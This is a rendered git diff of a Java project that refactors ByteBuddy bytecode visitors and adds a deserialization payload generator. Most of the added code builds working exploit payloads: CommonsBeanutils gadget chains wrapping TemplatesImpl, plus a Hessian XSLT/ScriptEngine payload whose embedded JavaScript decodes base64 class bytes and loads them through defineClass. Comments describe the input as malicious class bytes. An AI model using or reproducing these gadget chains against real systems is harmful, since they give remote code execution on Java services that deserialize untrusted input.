if ((opcode == INVOKEVIRTUAL && owner.equals("java/io/PrintStream") && name.equals("println"))
|
if ((opcode == INVOKEVIRTUAL && owner.equals("java/io/PrintStream") && name.equals("println"))
|
||||||
|| (opcode == INVOKEVIRTUAL && owner.endsWith("Exception") && name.equals("printStackTrace") && descriptor.equals("()V"))
|
|| (opcode == INVOKEVIRTUAL && owner.endsWith("Exception") && name.equals("printStackTrace"))
|
||||||
|| (opcode == INVOKEVIRTUAL && owner.equals("java/lang/Throwable") && name.equals("printStackTrace") && descriptor.equals("()V"))
|
|
||||||
|| (opcode == INVOKEVIRTUAL && owner.equals("java/util/logging/Logger") && (name.equals("info") || name.equals("warning")))
|
|| (opcode == INVOKEVIRTUAL && owner.equals("java/util/logging/Logger") && (name.equals("info") || name.equals("warning")))
|
||||||
) {
|
) {
|
||||||
String[] args = descriptor.substring(1, descriptor.indexOf(')')).split(";");
|
String[] args = descriptor.substring(1, descriptor.indexOf(')')).split(";");
|
||||||
+1
-15
@@ -9,15 +9,10 @@ import net.bytebuddy.jar.asm.Opcodes;
|
|||||||
import net.bytebuddy.pool.TypePool;
|
import net.bytebuddy.pool.TypePool;
|
||||||
import org.jetbrains.annotations.NotNull;
|
import org.jetbrains.annotations.NotNull;
|
||||||
|
|
||||||
import java.util.Collections;
|
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
import java.util.stream.Collectors;
|
import java.util.stream.Collectors;
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 静态方法替换
|
|
||||||
*
|
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class MethodCallReplaceVisitorWrapper implements AsmVisitorWrapper.ForDeclaredMethods.MethodVisitorWrapper {
|
public class MethodCallReplaceVisitorWrapper implements AsmVisitorWrapper.ForDeclaredMethods.MethodVisitorWrapper {
|
||||||
@@ -25,20 +20,11 @@ public class MethodCallReplaceVisitorWrapper implements AsmVisitorWrapper.ForDec
|
|||||||
private final String targetClassName;
|
private final String targetClassName;
|
||||||
private final Set<String> replaceClassNames;
|
private final Set<String> replaceClassNames;
|
||||||
|
|
||||||
private MethodCallReplaceVisitorWrapper(String targetClassName, Set<String> replaceClassNames) {
|
public MethodCallReplaceVisitorWrapper(String targetClassName, Set<String> replaceClassNames) {
|
||||||
this.targetClassName = targetClassName.replace(".", "/");
|
this.targetClassName = targetClassName.replace(".", "/");
|
||||||
this.replaceClassNames = replaceClassNames.stream().map(s -> s.replace(".", "/")).collect(Collectors.toSet());
|
this.replaceClassNames = replaceClassNames.stream().map(s -> s.replace(".", "/")).collect(Collectors.toSet());
|
||||||
}
|
}
|
||||||
|
|
||||||
public static AsmVisitorWrapper newInstance(String methodName, String className, String replaceClassName) {
|
|
||||||
return new AsmVisitorWrapper.ForDeclaredMethods()
|
|
||||||
.method(named(methodName),
|
|
||||||
new MethodCallReplaceVisitorWrapper(
|
|
||||||
className,
|
|
||||||
Collections.singleton(replaceClassName))
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
@NotNull
|
@NotNull
|
||||||
@Override
|
@Override
|
||||||
public MethodVisitor wrap(@NotNull TypeDescription instrumentedType,
|
public MethodVisitor wrap(@NotNull TypeDescription instrumentedType,
|
||||||
+2
-4
@@ -6,7 +6,6 @@ import net.bytebuddy.description.field.FieldList;
|
|||||||
import net.bytebuddy.description.method.MethodList;
|
import net.bytebuddy.description.method.MethodList;
|
||||||
import net.bytebuddy.description.type.TypeDescription;
|
import net.bytebuddy.description.type.TypeDescription;
|
||||||
import net.bytebuddy.implementation.Implementation;
|
import net.bytebuddy.implementation.Implementation;
|
||||||
import net.bytebuddy.jar.asm.ClassReader;
|
|
||||||
import net.bytebuddy.jar.asm.ClassVisitor;
|
import net.bytebuddy.jar.asm.ClassVisitor;
|
||||||
import net.bytebuddy.jar.asm.commons.ClassRemapper;
|
import net.bytebuddy.jar.asm.commons.ClassRemapper;
|
||||||
import net.bytebuddy.jar.asm.commons.Remapper;
|
import net.bytebuddy.jar.asm.commons.Remapper;
|
||||||
@@ -24,7 +23,7 @@ public class ServletRenameVisitorWrapper implements AsmVisitorWrapper {
|
|||||||
|
|
||||||
@Override
|
@Override
|
||||||
public int mergeReader(int flags) {
|
public int mergeReader(int flags) {
|
||||||
return flags | ClassReader.EXPAND_FRAMES;
|
return flags;
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@@ -47,8 +46,7 @@ public class ServletRenameVisitorWrapper implements AsmVisitorWrapper {
|
|||||||
new Remapper() {
|
new Remapper() {
|
||||||
@Override
|
@Override
|
||||||
public String map(String typeName) {
|
public String map(String typeName) {
|
||||||
if (typeName.startsWith("javax/servlet/")
|
if (typeName.startsWith("javax/servlet/")) {
|
||||||
|| typeName.startsWith("javax/websocket/")) {
|
|
||||||
return typeName.replaceFirst("javax", "jakarta");
|
return typeName.replaceFirst("javax", "jakarta");
|
||||||
} else {
|
} else {
|
||||||
return typeName;
|
return typeName;
|
||||||
+13
-2
@@ -1,9 +1,13 @@
|
|||||||
package com.reajason.javaweb.buddy;
|
package com.reajason.javaweb.buddy;
|
||||||
|
|
||||||
import net.bytebuddy.ByteBuddy;
|
import net.bytebuddy.ByteBuddy;
|
||||||
|
import net.bytebuddy.asm.AsmVisitorWrapper;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
|
import java.util.Collections;
|
||||||
|
|
||||||
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -39,8 +43,15 @@ class MethodCallReplaceVisitorWrapperTest {
|
|||||||
DynamicType.Unloaded<TargetClass> dynamicType = new ByteBuddy()
|
DynamicType.Unloaded<TargetClass> dynamicType = new ByteBuddy()
|
||||||
.redefine(TargetClass.class)
|
.redefine(TargetClass.class)
|
||||||
.name(newClassName)
|
.name(newClassName)
|
||||||
.visit(MethodCallReplaceVisitorWrapper.newInstance(
|
.visit(new AsmVisitorWrapper
|
||||||
"targetMethod", newClassName, ExternalClass.class.getName()))
|
.ForDeclaredMethods()
|
||||||
|
.method(named("targetMethod"),
|
||||||
|
new MethodCallReplaceVisitorWrapper(
|
||||||
|
newClassName,
|
||||||
|
Collections.singleton(ExternalClass.class.getName())
|
||||||
|
)
|
||||||
|
)
|
||||||
|
)
|
||||||
.make();
|
.make();
|
||||||
Class<?> redefinedClass = dynamicType.load(MethodCallReplaceVisitorWrapperTest.class.getClassLoader())
|
Class<?> redefinedClass = dynamicType.load(MethodCallReplaceVisitorWrapperTest.class.getClassLoader())
|
||||||
.getLoaded();
|
.getLoaded();
|
||||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,28 @@
|
|||||||
|
plugins {
|
||||||
|
id "io.freefair.lombok" version "8.11"
|
||||||
|
}
|
||||||
|
|
||||||
|
group = 'com.reajason.javaweb'
|
||||||
|
version = rootProject.version
|
||||||
|
|
||||||
|
dependencies {
|
||||||
|
implementation 'net.bytebuddy:byte-buddy'
|
||||||
|
|
||||||
|
implementation 'com.caucho:hessian:4.0.66'
|
||||||
|
implementation 'commons-beanutils:commons-beanutils:1.9.4'
|
||||||
|
|
||||||
|
testImplementation platform('org.junit:junit-bom')
|
||||||
|
testImplementation 'org.junit.jupiter:junit-jupiter'
|
||||||
|
}
|
||||||
|
|
||||||
|
java {
|
||||||
|
toolchain {
|
||||||
|
languageVersion = JavaLanguageVersion.of(8)
|
||||||
|
}
|
||||||
|
sourceCompatibility = JavaVersion.VERSION_1_8
|
||||||
|
targetCompatibility = JavaVersion.VERSION_1_8
|
||||||
|
}
|
||||||
|
|
||||||
|
test {
|
||||||
|
useJUnitPlatform()
|
||||||
|
}
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
package com.reajason.javaweb.deserialize;
|
||||||
|
|
||||||
|
import lombok.Data;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/13
|
||||||
|
*/
|
||||||
|
@Data
|
||||||
|
public class DeserializeConfig {
|
||||||
|
private PayloadType payloadType;
|
||||||
|
}
|
||||||
+24
@@ -0,0 +1,24 @@
|
|||||||
|
package com.reajason.javaweb.deserialize;
|
||||||
|
|
||||||
|
import com.caucho.hessian.io.Hessian2Output;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/2/19
|
||||||
|
*/
|
||||||
|
public class Hessian2DeserializeGenerator {
|
||||||
|
@SneakyThrows
|
||||||
|
public static byte[] generate(byte[] bytes, String className, DeserializeConfig config) {
|
||||||
|
PayloadType payloadType = config.getPayloadType();
|
||||||
|
Object obj = payloadType.getPayload().generate(bytes, className);
|
||||||
|
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
||||||
|
Hessian2Output hessian2Output = new Hessian2Output(bos);
|
||||||
|
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
|
||||||
|
hessian2Output.writeObject(obj);
|
||||||
|
hessian2Output.close();
|
||||||
|
return bos.toByteArray();
|
||||||
|
}
|
||||||
|
}
|
||||||
+24
@@ -0,0 +1,24 @@
|
|||||||
|
package com.reajason.javaweb.deserialize;
|
||||||
|
|
||||||
|
import com.caucho.hessian.io.HessianOutput;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/2/19
|
||||||
|
*/
|
||||||
|
public class HessianDeserializeGenerator {
|
||||||
|
@SneakyThrows
|
||||||
|
public static byte[] generate(byte[] bytes, String className, DeserializeConfig config) {
|
||||||
|
PayloadType payloadType = config.getPayloadType();
|
||||||
|
Object obj = payloadType.getPayload().generate(bytes, className);
|
||||||
|
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
||||||
|
HessianOutput hessianOutput = new HessianOutput(bos);
|
||||||
|
hessianOutput.getSerializerFactory().setAllowNonSerializable(true);
|
||||||
|
hessianOutput.writeObject(obj);
|
||||||
|
hessianOutput.close();
|
||||||
|
return bos.toByteArray();
|
||||||
|
}
|
||||||
|
}
|
||||||
+25
@@ -0,0 +1,25 @@
|
|||||||
|
package com.reajason.javaweb.deserialize;
|
||||||
|
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.ObjectOutputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/13
|
||||||
|
*/
|
||||||
|
public class JavaDeserializeGenerator {
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
public static byte[] generate(byte[] bytes, DeserializeConfig config) {
|
||||||
|
PayloadType payloadType = config.getPayloadType();
|
||||||
|
Object obj = payloadType.getPayload().generate(bytes);
|
||||||
|
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
||||||
|
ObjectOutputStream oos = new ObjectOutputStream(baos);
|
||||||
|
oos.writeObject(obj);
|
||||||
|
oos.flush();
|
||||||
|
oos.close();
|
||||||
|
return baos.toByteArray();
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,28 @@
|
|||||||
|
package com.reajason.javaweb.deserialize;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/13
|
||||||
|
*/
|
||||||
|
public interface Payload {
|
||||||
|
/**
|
||||||
|
* 将恶意类字节流封装成序列化对象
|
||||||
|
*
|
||||||
|
* @param bytes 恶意类字节流
|
||||||
|
* @return 序列化对象
|
||||||
|
*/
|
||||||
|
default Object generate(byte[] bytes) {
|
||||||
|
throw new UnsupportedOperationException();
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 将恶意类字节流封装成序列化对象
|
||||||
|
*
|
||||||
|
* @param bytes 恶意类字节流
|
||||||
|
* @param className 恶意类名
|
||||||
|
* @return 序列化对象
|
||||||
|
*/
|
||||||
|
default Object generate(byte[] bytes, String className) {
|
||||||
|
throw new UnsupportedOperationException();
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,44 @@
|
|||||||
|
package com.reajason.javaweb.deserialize;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.deserialize.payload.hessian.XSLTScriptEngine;
|
||||||
|
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils110;
|
||||||
|
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils16;
|
||||||
|
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils18;
|
||||||
|
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils19;
|
||||||
|
import lombok.Getter;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/13
|
||||||
|
*/
|
||||||
|
@Getter
|
||||||
|
public enum PayloadType {
|
||||||
|
/**
|
||||||
|
* CB 链
|
||||||
|
*/
|
||||||
|
CommonsBeanutils16(new CommonsBeanutils16()),
|
||||||
|
CommonsBeanutils18(new CommonsBeanutils18()),
|
||||||
|
CommonsBeanutils19(new CommonsBeanutils19()),
|
||||||
|
CommonsBeanutils110(new CommonsBeanutils110()),
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Hessian XSLT write
|
||||||
|
*/
|
||||||
|
XSLTScriptEngine(new XSLTScriptEngine())
|
||||||
|
;
|
||||||
|
|
||||||
|
private final Payload payload;
|
||||||
|
|
||||||
|
PayloadType(Payload payload) {
|
||||||
|
this.payload = payload;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static PayloadType getPayloadType(String payloadType) {
|
||||||
|
for (PayloadType value : values()) {
|
||||||
|
if (value.name().equals(payloadType)) {
|
||||||
|
return value;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new IllegalArgumentException("unknown payload type: " + payloadType);
|
||||||
|
}
|
||||||
|
}
|
||||||
+4
-7
@@ -1,14 +1,12 @@
|
|||||||
package com.reajason.javaweb.packer.deserialize;
|
package com.reajason.javaweb.deserialize;
|
||||||
|
|
||||||
import com.reajason.javaweb.ClassBytesShrink;
|
import com.reajason.javaweb.deserialize.utils.Reflections;
|
||||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
|
||||||
import com.reajason.javaweb.packer.deserialize.utils.Reflections;
|
|
||||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
||||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
|
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import net.bytebuddy.ByteBuddy;
|
import net.bytebuddy.ByteBuddy;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -22,9 +20,8 @@ public class TemplateUtils {
|
|||||||
byte[] fooBytes;
|
byte[] fooBytes;
|
||||||
try (DynamicType.Unloaded<Object> make = new ByteBuddy()
|
try (DynamicType.Unloaded<Object> make = new ByteBuddy()
|
||||||
.subclass(Object.class).name("foo")
|
.subclass(Object.class).name("foo")
|
||||||
.visit(new TargetJreVersionVisitorWrapper(Opcodes.V1_6))
|
|
||||||
.make()) {
|
.make()) {
|
||||||
fooBytes = ClassBytesShrink.shrink(make.getBytes(), true);
|
fooBytes = make.getBytes();
|
||||||
}
|
}
|
||||||
|
|
||||||
Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{
|
Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{
|
||||||
+8
-6
@@ -1,7 +1,8 @@
|
|||||||
package com.reajason.javaweb.packer.deserialize.hessian;
|
package com.reajason.javaweb.deserialize.payload.hessian;
|
||||||
|
|
||||||
import com.reajason.javaweb.packer.deserialize.utils.HessianUtils;
|
import com.reajason.javaweb.deserialize.Payload;
|
||||||
import com.reajason.javaweb.packer.deserialize.utils.Reflections;
|
import com.reajason.javaweb.deserialize.utils.HessianUtils;
|
||||||
|
import com.reajason.javaweb.deserialize.utils.Reflections;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
|
|
||||||
import javax.swing.*;
|
import javax.swing.*;
|
||||||
@@ -13,9 +14,10 @@ import java.util.HashMap;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/2/19
|
* @since 2025/2/19
|
||||||
*/
|
*/
|
||||||
public class XSLTScriptEngine {
|
public class XSLTScriptEngine implements Payload {
|
||||||
|
@Override
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public static Object generate(byte[] bytes, String className) {
|
public Object generate(byte[] bytes, String className) {
|
||||||
String base64Str = Base64.getEncoder().encodeToString(bytes);
|
String base64Str = Base64.getEncoder().encodeToString(bytes);
|
||||||
|
|
||||||
String tmpPath = "/tmp/CACHE_XML";
|
String tmpPath = "/tmp/CACHE_XML";
|
||||||
@@ -24,7 +26,7 @@ public class XSLTScriptEngine {
|
|||||||
" xmlns:se=\"http://xml.apache.org/xalan/java/javax.script.ScriptEngineManager\"\n" +
|
" xmlns:se=\"http://xml.apache.org/xalan/java/javax.script.ScriptEngineManager\"\n" +
|
||||||
" xmlns:js=\"http://xml.apache.org/xalan/java/javax.script.ScriptEngine\">\n" +
|
" xmlns:js=\"http://xml.apache.org/xalan/java/javax.script.ScriptEngine\">\n" +
|
||||||
" <xsl:template match=\"/\">\n" +
|
" <xsl:template match=\"/\">\n" +
|
||||||
" <xsl:variable name=\"js\" select=\""var classLoader = new java.net.URLClassLoader(java.lang.reflect.Array.newInstance(java.lang.Class.forName('java.net.URL'), 0),java.lang.Thread.currentThread().getContextClassLoader());var className = '" + className + "';var base64Str = '" + base64Str + "';try { classLoader.loadClass(className).newInstance();} catch (e) { var clsString = classLoader.loadClass('java.lang.String'); var bytecode; try { var clsBase64 = classLoader.loadClass('java.util.Base64'); var clsDecoder = classLoader.loadClass('java.util.Base64$Decoder'); var decoder = clsBase64.getMethod('getDecoder').invoke(base64Clz); bytecode = clsDecoder.getMethod('decode', clsString).invoke(decoder, base64Str); } catch (ee) { try { var datatypeConverterClz = classLoader.loadClass('javax.xml.bind.DatatypeConverter'); bytecode = datatypeConverterClz.getMethod('parseBase64Binary', clsString).invoke(datatypeConverterClz, base64Str); } catch (eee) { var clazz1 = classLoader.loadClass('sun.misc.BASE64Decoder'); bytecode = clazz1.newInstance().decodeBuffer(base64Str); } } var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader'); var clsByteArray = (new java.lang.String('a').getBytes().getClass()); var clsInt = java.lang.Integer.TYPE; var defineClass = clsClassLoader.getDeclaredMethod('defineClass', [clsByteArray, clsInt, clsInt]); defineClass.setAccessible(true); var clazz = defineClass.invoke(classLoader, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length)); clazz.newInstance();}new java.io.File('" + tmpPath + "').delete()"\" />\n" +
|
" <xsl:variable name=\"js\" select=\""var classLoader = java.lang.Thread.currentThread().getContextClassLoader();var className = '" + className + "';var base64Str = '" + base64Str + "';try { classLoader.loadClass(className).newInstance();} catch (e) { var clsString = classLoader.loadClass('java.lang.String'); var bytecode; try { var clsBase64 = classLoader.loadClass('java.util.Base64'); var clsDecoder = classLoader.loadClass('java.util.Base64$Decoder'); var decoder = clsBase64.getMethod('getDecoder').invoke(base64Clz); bytecode = clsDecoder.getMethod('decode', clsString).invoke(decoder, base64Str); } catch (ee) { try { var datatypeConverterClz = classLoader.loadClass('javax.xml.bind.DatatypeConverter'); bytecode = datatypeConverterClz.getMethod('parseBase64Binary', clsString).invoke(datatypeConverterClz, base64Str); } catch (eee) { var clazz1 = classLoader.loadClass('sun.misc.BASE64Decoder'); bytecode = clazz1.newInstance().decodeBuffer(base64Str); } } var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader'); var clsByteArray = (new java.lang.String('a').getBytes().getClass()); var clsInt = java.lang.Integer.TYPE; var defineClass = clsClassLoader.getDeclaredMethod('defineClass', [clsByteArray, clsInt, clsInt]); defineClass.setAccessible(true); var clazz = defineClass.invoke(classLoader, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length)); clazz.newInstance();}new java.io.File('" + tmpPath + "').delete()"\" />\n" +
|
||||||
" <xsl:variable name=\"result\" select=\"js:eval(se:getEngineByName(se:new(),'js'), $js)\"/>\n" +
|
" <xsl:variable name=\"result\" select=\"js:eval(se:getEngineByName(se:new(),'js'), $js)\"/>\n" +
|
||||||
" <xsl:value-of select=\"$result\"/>\n" +
|
" <xsl:value-of select=\"$result\"/>\n" +
|
||||||
" </xsl:template>\n" +
|
" </xsl:template>\n" +
|
||||||
+10
-14
@@ -1,10 +1,8 @@
|
|||||||
package com.reajason.javaweb.packer.deserialize.java;
|
package com.reajason.javaweb.deserialize.payload.java;
|
||||||
|
|
||||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
import com.reajason.javaweb.deserialize.Payload;
|
||||||
import com.reajason.javaweb.packer.Packer;
|
import com.reajason.javaweb.deserialize.TemplateUtils;
|
||||||
import com.reajason.javaweb.packer.deserialize.JavaDeserializeGenerator;
|
import com.reajason.javaweb.deserialize.utils.Reflections;
|
||||||
import com.reajason.javaweb.packer.deserialize.TemplateUtils;
|
|
||||||
import com.reajason.javaweb.packer.deserialize.utils.Reflections;
|
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import net.bytebuddy.ByteBuddy;
|
import net.bytebuddy.ByteBuddy;
|
||||||
import net.bytebuddy.description.modifier.FieldManifestation;
|
import net.bytebuddy.description.modifier.FieldManifestation;
|
||||||
@@ -18,16 +16,14 @@ import java.net.URLClassLoader;
|
|||||||
import java.util.Comparator;
|
import java.util.Comparator;
|
||||||
import java.util.PriorityQueue;
|
import java.util.PriorityQueue;
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/2/17
|
* @since 2024/12/3
|
||||||
*/
|
*/
|
||||||
public class CommonsBeanutils110Packer implements Packer {
|
public class CommonsBeanutils110 implements Payload {
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public String pack(ClassPackerConfig config) {
|
public Object generate(byte[] bytes) {
|
||||||
Object comparator = new ByteBuddy()
|
Object comparator = new ByteBuddy()
|
||||||
.redefine(BeanComparator.class)
|
.redefine(BeanComparator.class)
|
||||||
.defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL)
|
.defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL)
|
||||||
@@ -38,9 +34,9 @@ public class CommonsBeanutils110Packer implements Packer {
|
|||||||
final PriorityQueue<Object> queue = new PriorityQueue<>(2, ((Comparator) comparator));
|
final PriorityQueue<Object> queue = new PriorityQueue<>(2, ((Comparator) comparator));
|
||||||
queue.add("1");
|
queue.add("1");
|
||||||
queue.add("1");
|
queue.add("1");
|
||||||
Object obj = TemplateUtils.createTemplatesImpl(config.getClassBytes());
|
Object obj = TemplateUtils.createTemplatesImpl(bytes);
|
||||||
Reflections.setFieldValue(comparator, "property", "outputProperties");
|
Reflections.setFieldValue(comparator, "property", "outputProperties");
|
||||||
Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj});
|
Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj});
|
||||||
return JavaDeserializeGenerator.generate(queue);
|
return queue;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+10
-14
@@ -1,10 +1,8 @@
|
|||||||
package com.reajason.javaweb.packer.deserialize.java;
|
package com.reajason.javaweb.deserialize.payload.java;
|
||||||
|
|
||||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
import com.reajason.javaweb.deserialize.Payload;
|
||||||
import com.reajason.javaweb.packer.Packer;
|
import com.reajason.javaweb.deserialize.TemplateUtils;
|
||||||
import com.reajason.javaweb.packer.deserialize.JavaDeserializeGenerator;
|
import com.reajason.javaweb.deserialize.utils.Reflections;
|
||||||
import com.reajason.javaweb.packer.deserialize.TemplateUtils;
|
|
||||||
import com.reajason.javaweb.packer.deserialize.utils.Reflections;
|
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import net.bytebuddy.ByteBuddy;
|
import net.bytebuddy.ByteBuddy;
|
||||||
import net.bytebuddy.description.modifier.FieldManifestation;
|
import net.bytebuddy.description.modifier.FieldManifestation;
|
||||||
@@ -18,16 +16,14 @@ import java.net.URLClassLoader;
|
|||||||
import java.util.Comparator;
|
import java.util.Comparator;
|
||||||
import java.util.PriorityQueue;
|
import java.util.PriorityQueue;
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/2/17
|
* @since 2024/12/3
|
||||||
*/
|
*/
|
||||||
public class CommonsBeanutils16Packer implements Packer {
|
public class CommonsBeanutils16 implements Payload {
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public String pack(ClassPackerConfig config) {
|
public Object generate(byte[] bytes) {
|
||||||
Object comparator = new ByteBuddy()
|
Object comparator = new ByteBuddy()
|
||||||
.redefine(BeanComparator.class)
|
.redefine(BeanComparator.class)
|
||||||
.defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL)
|
.defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL)
|
||||||
@@ -40,8 +36,8 @@ public class CommonsBeanutils16Packer implements Packer {
|
|||||||
queue.add("1");
|
queue.add("1");
|
||||||
Reflections.setFieldValue(comparator, "property", "outputProperties");
|
Reflections.setFieldValue(comparator, "property", "outputProperties");
|
||||||
|
|
||||||
Object obj = TemplateUtils.createTemplatesImpl(config.getClassBytes());
|
Object obj = TemplateUtils.createTemplatesImpl(bytes);
|
||||||
Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj});
|
Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj});
|
||||||
return JavaDeserializeGenerator.generate(queue);
|
return queue;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+11
-14
@@ -1,10 +1,8 @@
|
|||||||
package com.reajason.javaweb.packer.deserialize.java;
|
package com.reajason.javaweb.deserialize.payload.java;
|
||||||
|
|
||||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
import com.reajason.javaweb.deserialize.Payload;
|
||||||
import com.reajason.javaweb.packer.Packer;
|
import com.reajason.javaweb.deserialize.TemplateUtils;
|
||||||
import com.reajason.javaweb.packer.deserialize.JavaDeserializeGenerator;
|
import com.reajason.javaweb.deserialize.utils.Reflections;
|
||||||
import com.reajason.javaweb.packer.deserialize.TemplateUtils;
|
|
||||||
import com.reajason.javaweb.packer.deserialize.utils.Reflections;
|
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import net.bytebuddy.ByteBuddy;
|
import net.bytebuddy.ByteBuddy;
|
||||||
import net.bytebuddy.description.modifier.FieldManifestation;
|
import net.bytebuddy.description.modifier.FieldManifestation;
|
||||||
@@ -18,16 +16,15 @@ import java.net.URLClassLoader;
|
|||||||
import java.util.Comparator;
|
import java.util.Comparator;
|
||||||
import java.util.PriorityQueue;
|
import java.util.PriorityQueue;
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/2/17
|
* @since 2024/12/3
|
||||||
*/
|
*/
|
||||||
public class CommonsBeanutils18Packer implements Packer {
|
public class CommonsBeanutils18 implements Payload {
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public String pack(ClassPackerConfig config) {
|
@SuppressWarnings("unchecked")
|
||||||
|
public Object generate(byte[] bytes) {
|
||||||
Object comparator = new ByteBuddy()
|
Object comparator = new ByteBuddy()
|
||||||
.redefine(BeanComparator.class)
|
.redefine(BeanComparator.class)
|
||||||
.defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL)
|
.defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL)
|
||||||
@@ -40,8 +37,8 @@ public class CommonsBeanutils18Packer implements Packer {
|
|||||||
queue.add("1");
|
queue.add("1");
|
||||||
Reflections.setFieldValue(comparator, "property", "outputProperties");
|
Reflections.setFieldValue(comparator, "property", "outputProperties");
|
||||||
|
|
||||||
Object obj = TemplateUtils.createTemplatesImpl(config.getClassBytes());
|
Object obj = TemplateUtils.createTemplatesImpl(bytes);
|
||||||
Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj});
|
Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj});
|
||||||
return JavaDeserializeGenerator.generate(queue);
|
return queue;
|
||||||
}
